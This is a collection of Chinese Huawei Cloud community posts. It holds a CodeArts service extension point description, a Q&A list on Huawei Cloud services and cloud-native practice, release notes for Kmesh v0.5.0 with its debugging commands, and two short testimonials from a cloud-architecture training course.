新建CodeArts服务扩展点 服务扩展点是CodeArts的一种扩展插件，为CodeArts提供连接第三方服务的能力。 用户典型使用场景：在项目的流水线配置中，如果用户需要远程连接第三方服务，如：连接第三方GitHub、码云的Git仓库获取项目源码，连接第三方Jenkins服务执行Jenkins任务，连接Kubernetes集群进行部署，连接nexus repository用于添加用户的私有Maven仓库信息，Docker repository用于连接Docker镜像仓库，IAM账户扩展点用于委托自己账号的AK/SK给需要执行任务的账号等，均可以使用服务扩展点实现。 https://support.huaweicloud.com/usermanual-pipeline/pipeline_01_0011.htmlQ：有没有文档呀，在线的文档或者不是在线的都可以A:https://support.huaweicloud.com/index.html 华为云的支持文档，如果是CodeArts相关的，看开发与运维模块Q：如何在华为云上配置和管理云爆发？A:Cloud Bursting解决方案，Serverless容器降本增效极致体验 https://developer.huawei.com/consumer/cn/forum/topic/0207132258291104197Q：CodeArts req和CodeArts Release有哪些区别？A:CodeArts Req是华为云提供的一款需求管理与团队协作服务。它旨在为研发团队提供一个简单高效的平台，以支持需求管理、项目管理、敏捷 Scrum、缺陷跟踪、文档托管、统计分析和工时管理等功能。 https://support.huaweicloud.com/projectman/index.html CodeArts Release是华为云提供的一种发布管理服务，它是与 CodeArts流水线(CodeArts Pipeline)相结合的 E2E解决方案，专门用于支持产品版本的持续交付。通过 CodeArts Release,发布团队可以在保持现有生产环境完整性的同时，高效地交付业务所需的应用程序和升级。 https://support.huaweicloud.com/usermanual-pipeline/pipeline_01_0065.htmlQ：请问code arts可以进行自动触发吗A:可以的。https://support.huaweicloud.com/usermanual-pipeline/pipeline_01_0017.htmlQ：请问有没有实际操作的的视频，从刚把华为云到应用到华为云上A:华为云提供一些基础的迁移工具比如SMS，DRS等等，如果需要大型应用的迁移建议求助代表处华为云迁移团队Q：怎么减少容器测试阶段的重复性构建又能兼顾质量?A:在容器测试阶段，重复性构建可能会消耗大量的计算资源，同时也可能增加测试的时间和成本。但是，为了保证软件质量，我们又必须进行充分的测试。下面有一些策略可以在尽量减少重复性构建的同时保证质量:1.使用 CI/CD工具: 持续集成/持续部署(CI/CD)工具(如 Jenkins, GitLab CI/CD, CircleCI等)可以自动化构建和测试的过程，这样就可以避免手动进行重复的构建操作。这些工具通常都支持并行测试，这样可以大大减少测试的总时间。2.并行测试: 并行测试可以大大提高测试的效率。现代 CI/CD工具通常都支持并行测试，这样可以同时运行多个测试用例，大大减少测试的总时间。3.代码覆盖率工具: 使用代码覆盖率工具(如 JaCoCo, Cobertura等)可以帮助你确定哪些代码已经被测试，哪些代码还没有被测试。这样可以帮助你更有效地分配测试资源。4.使用 Docker层缓存: 如果你的 Docker镜像包含了一些经常变动的文件，那么在构建过程中可能会进行多次不必要的完整构建。你可以使用 Docker的层缓存(layer caching)功能来避免这种情况。当你构建一个 Docker镜像时，Docker会检查是否有可重用的层，如果有，就不会再重新构建这些层。5.避免长时间运行的测试: 长时间运行的测试可能会占用大量的计算资源，而且可能会使得测试结果不稳定。你应该尽量避免使用长时间运行的测试，或者将它们与其他测试并行运行。6.优化测试策略: 不同的测试策略可能会有不同的效率和质量。你应该根据你的具体需求和资源情况来选择合适的测试策略。例如，单元测试通常比集成测试更快，但是集成测试通常能发现更多的问题。以上这些策略可以帮助你在尽量减少重复性构建的同时保证软件质量。Q：华为云 GaussDB(DWS) 的高可用性是如何实现的？A:华为云 GaussDB(DWS)的高可用性主要通过以下机制实现:1.硬件级高可靠:磁盘 Raid: 确保数据的冗余备份。交换机堆叠及网卡 bond: 提高网络的可靠性和可用性。不间断电源(UPS): 防止电力故障影响数据中心的运作。2.软件级高可靠:集群事务管理: 保证集群所有节点间事务的 ACID特性，以及故障可恢复性。全方位 HA(高可用性)设计: 包括集群 CN(控制节点)、 GTM(全局事务管理器)、 DN(数据节点)等，确保在部分节点故障时，集群仍然能够正常运作。分布式事务管理: 支持全局事务信息管理和分布式事务状态管理，保证分布式事务的 ACID特性。分布式死锁预防: 保证在出现死锁时能够自动解锁或者预防死锁。3.基于 K-Safety的高可用性:K-Safety是 Vertica数据库的一项技术，保证了在集群内，每一个数据库中每一张表的每一列被存储在至少 K+1台机器上，这样保证了任意 K个节点发生故障时，集群中仍然存在至少一份完整的数据来响应数据处理和查询请求。GaussDB(DWS)采用类似的主、备、从备的技术，分布在安全环单元内部的节点上，每个安全环内节点数=单物理服务器上的 DN数+1,最小为3,类似于 K-Safety的效果。通过上述多层次、多维度的高可用性设计，华为云 GaussDB(DWS)能够在集群出现故障时尽可能地不中断服务，降低硬件、软件和人为造成的故障对业务的影响，以保证业务的持续性。cid:link_4Q：请问获取apollo数据是定期获取还是获取一次呢A:apollo定时频率默认为每5分钟拉取一次，客户端也可以通过在运行时指定System Property: apollo.refreshInterval来覆盖，单位为分钟。https://github.com/apolloconfig/apollo/wiki/Apollo%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83%E4%BB%8B%E7%BB%8DQ：CCE支持哪些类型的持久化存储？A:云硬盘EVS. 对象存储OBS. 弹性文件存储SFS. https://doc.hcs.huawei.com/zh-cn/usermanual/cce/cce_10_0307.htmlQ：怎么保证CCE的高可用性?A:CCE的高可用性可以通过以下几种方式来保证:1.高可用部署方案:增加实例数量: 采用多实例部署方式可以有效避免单点故障造成的服务不可用。独占节点部署: 将核心插件如 CoreDNS独占 Node节点部署，进行节点级别的资源限制和隔离，避免业务应用与核心插件资源抢占。多可用区部署: 采用多可用区部署可以有效避免单可用区故障造成的整个服务的不可用。2.数据保护技术:服务发现支持证书配置: 集群中的应用服务支持使用 HTTPS传输协议，保证数据传输的安全性。高可用部署: 集群支持3个控制节点的高可用模式，Node节点支持分布在不同 AZ,以实现高可用性。磁盘加密: 支持多种存储类型，满足高可用以及部分存储加密场景，为数据提供安全防护。3.节点管理:创建不同可用区的节点: 创建多个节点池，不同节点池部署在不同可用区，通过节点池扩展节点。工作负载亲和性规则: 创建工作负载时设置实例数需大于2个，并设置工作负载亲和性规则，尽量让 Pod分布在不同可用区、不同节点上。通过上述措施，CCE能够提供高可用的部署和运行环境，确保服务的稳定和可靠性。cid:link_0Q：DTSE 如何帮助开发者快速解决遇到的技术问题？A:DTSE(Developer Technology Service Engineer)作为华为云的一种服务，主要致力于帮助开发者解决技术问题，提升开发效率和产品质量。以下是 DTSE如何帮助开发者的几个方面:1.技术问题支持:DTSE提供专业的技术支持，帮助开发者分析、定位并解决技术问题，确保问题能够快速得到解决，保证开发进程的顺利进行3。2.项目成果优化: 通过与客户技术侧负责人对齐，DTSE能够聚焦于开发者的技术架构优化，降低 BUG数量和系统故障时长，提升开发者对 DTSE的信任1。3.效率提升:DTSE协助开发者建立标准的开发流程，提高开发效率，并通过监控和优化代码质量，减少后期维护工作12。4.技术赋能:DTSE支持开发者熟悉华为云技术栈，提供持续的技术跟踪和赋能，帮助开发者提升技术能力和使用体验2。5.产品改进与优化: 根据客户反馈和实际使用情况，DTSE协助推动产品特性需求的实现，优化产品功能，提升开发者的工作效率和产品质量12。6.经验沉淀与分享:DTSE通过沉淀项目经验，提炼关键价值点，与开发者进行交流，建立信任，并促进知识共享12。通过上述方式，DTSE不仅解决了开发者在实际工作中遇到的技术问题，还提升了开发效率和产品质量，增强了开发者对华为云产品的信任和依赖。Q：云原生改造的故障演练有哪些实现方法？A:多活高可用服务 MAS。多活高可用服务（Multi-Site High Availability Service，简称MAS）源自华为消费者多活应用高可用方案，提供从流量入口、数据到应用层的端到端的业务故障切换及容灾演练能力，保障故障场景下的业务快速恢复，提升业务连续性。 https://support.huaweicloud.com/usermanual-mas/mas_03_0102.htmlQ：使用虚拟机架构还是容器架构应该怎么考量？A:虚拟机架构和容器架构是两种常见的云计算和应用部署方式，各自有其优缺点。选择哪一种架构，通常取决于以下一些考量因素:1.资源隔离与共享: 虚拟机提供了完全的硬件隔离，而容器则共享主机的操作系统和资源。虚拟机的隔离性更好，但也会带来更高的资源消耗。容器则能更高效地利用硬件资源，但隔离性较差。2.启动时间: 虚拟机需要加载整个操作系统，所以启动时间较长。而容器只需要加载应用及其依赖，启动时间通常更短。3.操作系统与硬件的兼容性: 虚拟机可以运行任何操作系统，具有很高的灵活性。而容器只能运行与主机操作系统兼容的应用，这也决定了其应用的限制。4.安全性: 虚拟机在安全性上有一定优势，因为每个虚拟机都运行在自己的操作系统中，而容器共享主机的操作系统，可能存在安全隐患。5.应用隔离: 虚拟机可以在同一台物理机上运行多个隔离的操作系统，从而运行多个应用。而容器在同一台物理机上运行多个容器，但这些容器共享主机的操作系统，因此应用之间可能存在干扰。6.管理与维护: 虚拟机的管理和维护通常更复杂，需要管理多个操作系统。而容器的管理和维护相对简单，只需要管理应用程序及其依赖。7.网络配置: 虚拟机可以配置虚拟网络，而容器则需要在主机的网络中进行配置，这也是容器的一个限制。8.成本: 虚拟机通常需要更多的硬件资源和管理资源，因此成本较高。而容器则能更高效地利用硬件资源，成本较低。总的来说，虚拟机和容器各有优缺点，选择哪种架构需要根据具体的应用需求和资源状况来决定。Q：如何优化云原生基础设施，提升业务的弹性能力？A:云原生基础设施优化方法主要包括以下几个方面:1.云原生持续融合 IaaS基础设施，构建下一代 Serverless底座:面向应用的无感算力: 虚机算力向 Serverless容器算力持续演进，实现算力无感、弹性无感、运维无感。面向应用的网络: 从面向网络的 VPC走向面向应用的 ANC,实现网络、容器、应用的扁平化。面向应用的存储: 实现传统存储多应用接口应用模式向与云原生文件/应用语义模型的转化，支撑数据无感流动。2.云原生算力无处不在，构建分布式云原生基础设施:面向应用全域分发: 通过云原生将华为云多种数据中心、边缘、客户站点全域链接，实现 regionless,多算力、流量、数据统一治理。基于声明式 API: 根据计算资源、成本优化、 SLA、时延等维度实现工作负载全局最优位置部署1。3.构建面向 Workloads优化的基础设施:围绕垂直应用场景，面向 AI、 HPC、 Web、 DB等全场景提供负载优化的云原生基础设施。4.基于 FinOps理念，构建低碳、绿色的基础设施:实现应用级别、节点级别的弹性伸缩，采用智能弹性、智能调度等技术构建绿色、高效的云原生基础设施。5.云原生 AI基础设施:围绕 Clould for AI战略，重构为 AI原生的云基础设施底座平台。6.分布式擎天架构创新:实现基于高速总线下的对等池化架构，突破算力、网络、存储的壁垒。此外，还有如低成本、高性能、灵活弹性的适配场景，通过全硬件卸载节省成本、提升性能，以及秒级弹性等技术，来优化云原生基础设施3。在安全性方面，通过networkpolicy+安全组、安全容器、RBAC等措施来应对挑战。以上方法结合起来能够帮助企业在大规模应用场景下实现高效的资源管理和成本优化。Q：华为云云原生技术有哪些优势？A: 1.出身：源自开源，高于开源。 不同于微软，AWS，阿里云，华为云从2015年就选择K8S容器技术，是CNCF创始成员。在社区上代码贡献累计亚洲第一。并贡献KubeEdge，Karmada，Volcano 等多个开源项目。 2.能力：软硬结合，极致性能，极低时延 云计算的原罪就是复杂。在一个云计算数据中心，有着数十万台服务器，每台服务器上又是几十个虚机，虚机之上又是几十个容器，而数以亿计的应用，有的是需要最高性能，有的是最大的存储，有的是最大的带宽等，这一切反映的是在这种复杂网络的调度能力，华为与所有其他云厂商不同的是，我们有着交换机，路由器，存储，服务器的硬件整机产品创新能力，又拥有华为云独有的擎天架构。通过软硬结合，我们能将虚机网络和容器网络两层变一层，网络时延降低40%，实现性能绝对领先于其他厂商。 3.业务案例。新浪微博三阶段的故事 新浪微博曾经容易瘫。用了华为云的容器服务，就不再瘫了，华为云容器服务支持30秒8000核的扩容。想要了解更多云原生相关知识，欢迎观看DTSE Tech Talk 系列技术直播

我们非常高兴地宣布 Kmesh v0.5.0 的发布。首先，感谢我们的贡献者在过去两个月中的辛勤工作。在 v0.5.0 版本中，我们进行了许多重要的增强，包括命令行工具 kmeshctl、更全面的端到端测试覆盖、底层 eBPF 信息的可视化改进、可观测性增强、完整的重启支持、CNI 安装程序的改进以及 XDP 程序中的 RBAC 支持。此外，在本次发布周期中，我们修复了许多关键的 Bugs，重构了部分关键代码，并增加了更多测试覆盖，使 Kmesh 更加稳定和健壮。  Kmesh背景回顾  尽管以 Istio 为代表的服务网格在过去几年得到了广泛的关注并取得了显著的知名度，但 Istio 社区曾经重点推广的 Sidecar 模式在资源开销和数据链路延迟等方面会对工作负载产生显著影响，因此用户在选择落地方案时仍然相对谨慎。此外，Sidecar 模式的一个主要缺点是其与业务容器的生命周期强绑定，无法独立进行升级。为了解决这些问题，Kmesh 创新性地提出了基于内核的无 Sidecar 流量治理方案，将流量治理下沉至内核层面。当前Kmesh支持“Kernel-Native”和“Dual-Engine”两种模式。对于“Kernel-Native”模式，由于 eBPF 技术非常适合四层流量治理，并且结合可编程内核模块，可以实现七层流量编排。Kmesh 最初完全依赖 eBPF 和内核模块来实现 L4-L7 的治理。Kmesh 采用随流治理策略，不会在服务通信过程中增加额外的连接跳数，与 Sidecar 模式相比，服务之间的通信连接数从三条减少至一条。“Kernel-Native”模式的架构图如下：同时，为了增强七层协议的治理能力，今年 Kmesh 引入了一种新的治理模式——“Dual-Engine”模式，利用 eBPF 将流量转发到 kmesh-waypoint 进行高级的七层协议治理。这是一种更灵活的分层治理模型，能够按需满足不同用户的多样化需求。  Kmesh 0.5版本关键特性解析  Kmesh重启时的零停机时间现在，Kmesh 可以在重启后优雅地重新加载 eBPF Map 和程序，且不需要在重启后重新注册命名空间或特定 Pod。这意味着在重启期间，流量不会中断，这对用户来说是一个巨大的好处。在 kmesh-daemon 重启后，eBPF Map 配置将自动更新为最新状态。如上图所示通过将 eBPF程序 pin 在内核目录上，kmesh 关闭后 eBPF 依然可以正常对流量进行治理，保证 kmesh 重启过程中服务不中断。在 kmesh 重启后，将 bpf_map 中存放的 config 与最新获取的 config 作对比，将 bpf_map 中的 config 更新至最新。在 v0.4.0 版本中，Kmesh 重启后需要重新启动所有由 Kmesh 管理的 Pod，以便重新管理，因为该管理是由 CNI 插件触发的。现在这一过程已在 kmesh-daemon 中完成，因此 Pod 不需要重新启动即可重新管理。可观测性增强现在，Kmesh 支持 L4 访问日志，使用户能够清晰地可视化 Kmesh 管理的流量。请注意，访问日志默认未启用。您可以通过修改 Kmesh 中  spec.containers.args 的 --enable-accesslog 参数来启用访问日志功能。我们还将支持使用 kmeshctl 动态启用访问日志。访问日志的示例如下：accesslog: 2024-09-14 08:19:26.552709932 +0000 UTC src.addr=10.244.0.17:51842, src.workload=prometheus-5fb7f6f8d8-h9cts, src.namespace=istio-system, dst.addr=10.244.0.13:9080, dst.service=productpage.echo-1-27855.svc.cluster.local, dst.workload=productpage-v1-8499c849b9-bz9t9, dst.namespace=echo-1-27855, direction=INBOUND, sent_bytes=5, received_bytes=292, duration=2.733902ms其中各个字段的含义为：同时，为 Kmesh 适配的 Grafana 插件也已添加，以便更好地可视化各维度的监控指标。此外，可观测性方面的一些关键问题已得到修复，有效提高了其准确性和稳定性。将授权执行下沉到XDP程序中在 v0.3.0 版本中，Kmesh 已支持 L4 RBAC，但之前的解决方案是在用户空间中进行 RBAC，这在性能和功能上存在一些问题。现在我们已将其下沉到 XDP eBPF 中，这项功能将真正可用。目前，鉴权规则已转移到 eBPF Map中，这使得能够完全在 eBPF 程序中执行授权。当授权结果为拒绝时，XDP 程序会直接丢弃请求数据包，从而使客户端能够检测到连接失败。下沉到 XDP 程序的关键是使用了 eBPF 的 tail-call 机制，将不同的匹配规则通过 tail-call 串联起来，遵循了原先在用户空间进行鉴权的逻辑。如上图所示，集群内配置的鉴权规则通过消息订阅机制，被写入 eBPF Map。Pod 上入方向的流量在建链时，会在 XDP 程序中进行鉴权规则匹配，如果鉴权结果为拒绝，则包被丢弃；如果鉴权结果为允许，则流量将通过协议栈发送到对应的 App 进程。更好的调试能力我们新增了命令行工具 kmeshctl！现在，您无需进入相应的 Kmesh 守护进程 Pod 来调整 Kmesh 守护进程的日志级别或转储配置。您可以直接使用 kmeshctl：# 调整 kmesh-daemon 日志级别（例如，debug | error | info） kmeshctl log kmesh-6ct4h --set default:debug # 转储配置 kmeshctl dump kmesh-6ct4h workload未来将为 kmeshctl 添加更多功能，以便用户更好地管理和调试 Kmesh。更好的底层BPF Map可视化之前我们有接口 /debug/config_dump/ads 和 /debug/config_dump/workload 来输出 Kmesh 守护进程中缓存的配置内容。由于各种原因，Kmesh 守护进程缓存中的配置与实际的 eBPF 可能并不完全一致。如果我们能获取阅读友好的 eBPF 信息，将更有助于我们进行故障排查。现在，我们可以通过接口 /debug/bpf/* 获取这些信息。这些信息也将被集成到 kmeshctl 中，方便查看，并且可以进一步扩展，以判断底层 eBPF 是否与 Kmesh 守护进程中的配置同步。# Get eBPF info in dual-engine mode kubectl exec -ti -n kmesh-system kmesh-6ct4h -- curl 127.0.0.1:15200/debug/config_dump/bpf/workload # Get eBPF info in kernel-native mode kubectl exec -ti -n kmesh-system kmesh-6ct4h -- curl 127.0.0.1:15200/debug/config_dump/bpf/ads改进CNI安装程序由于 CNI 安装程序是 Kmesh 守护进程，如果 kmesh-daemon 意外崩溃或机器突然断电，CNI 将无法卸载 CNI 配置。如果 kubeconfig 的 token 过期，则 kmesh-daemon 异常退出后，任何 Pod 都无法成功启动。因此，我们采取了以下两种方法来解决此问题：在 start_kmesh.sh 的末尾清理 CNI 配置。在CNI安装程序中添加一个单独的Go协程，一旦token文件被修改，更新 kubeconfig 文件。这可以确保 kubeconfig 文件不容易过期。支持HostNetwork工作负载现在，对于 Kmesh 双引擎模式，我们支持通过 HostNetwork Pods 访问服务。性能提升在双引擎模式中，我们通过使用本地缓存来优化工作负载和服务响应处理期间的 BPF Map更新，避免了对 BPF Map的循环遍历。关键Bug修复我们还修复了一些重大 Bug：通过不删除前端Map，防止在工作负载资源更新期间失去流量控制。来自命名空间 waypoint 的流量将再次重定向到 waypoint，避免了死循环。现在我们跳过了来自 waypoint 的流量管理。修复了当 waypoint 处理非 HTTP TCP流量时，会意外返回HTTP/1.1 400 Bad Request 的问题。#681  致谢贡献者  Kmesh v0.5.0 版本包含了来自14 位贡献者的 567 次代码提交，在此对各位贡献者表示由衷的感谢： @hzxuzhonghu @LiZhenCheng9527 @nlgwcy @YaoZengzeng@supercharge-xsy@Okabe-Rintarou-0@lec-bit@weli-l@noobwei@kwb0523@tacslon@zirain@yuanqijing@SpongeBob0318我们始终以开放中立的态度发展 Kmesh，持续打造 Sidecarless 服务网格业界标杆方案，服务千行百业，促进服务网格健康有序的发展。Kmesh 当前正处于高速发展阶段，我们诚邀广大有志之士加入！参考链接Kmesh Release v0.5.0: cid:link_3Kmesh GitHub: cid:link_5Kmesh Website: https://kmesh.net/【更多华为云云原生干货推荐】华为云云原生王者之路集训营华为云云原生王者之路集训营为帮助广大技术爱好者快速掌握云原生相关技能，华为云云原生团队与华为云学院联合CNCF开源软件大学启动人才培养计划，推出《华为云云原生王者之路集训营》，从云原生基础知识介绍到最佳实践讲解、底层原理和方案架构深度剖析，层层深入，满足不同云原生技术基础和学习目标人群的需求。本课程还精选数十个企业典型应用场景，作为学员上机实践案例，帮助学员将所学技术快速与企业业务相结合，服务于企业生产。点击免费参加华为云云原生王者之路集训营：cid:link_4 学习后记得小试牛刀，看看测评效果~ 华为云云原生王者之路-黄金课程测评 华为云云原生王者之路-钻石课程测评 华为云云原生王者之路-王者课程测评

          很荣幸能够参加这次的E级云架构学习的机会，在这个培训过程中，我感受到了前所未有的学习热情和专业的教学氛围。老师的授课方式生动有趣，不仅深入浅出地讲解了知识点，还注重培养我们的实践能力和项目思维。课程内容丰富多样，涵盖了多个领域的前沿知识，让我受益匪浅。 从自己零零散散的了解顶层架构设计的边角料，再到老师的专业知识学习与设计思路，再到自己懵懵懂懂的APIG、FunctionGraph、大数据的数据治理等知识领域的深入补充与教学，学习到了之前不懂的知识。总的来说，这个培训班不仅提升了我的专业技能和知识水平，还让我结识了一群志同道合的朋友。我相信，这段宝贵的学习经历将对我的未来产生积极的影响。我衷心感谢培训班的所有老师和同学，也期待未来能有更多这样的学习机会。 

这次培训E级培训的感觉：1.讲师能力：非常专业，不论是从整体感觉还是细节讲解，都受益匪浅，无可挑剔。2.课件内容：从顶层架构到底层技术细节，都图文并茂，易于理解，并且配有专门的案例，学员们理论中不理解的问题，通过案例讲解后茅塞顿开。3.推进方式：时间观念非常强，进度准确到分钟级别；讨论环节，学员们扩散的问题，讲师都能精准找到问题的根因并且解答。4.环境感知：培训的整体氛围非常轻松，后台的两位老师也非常给力，有实验上的问题都能快速应答。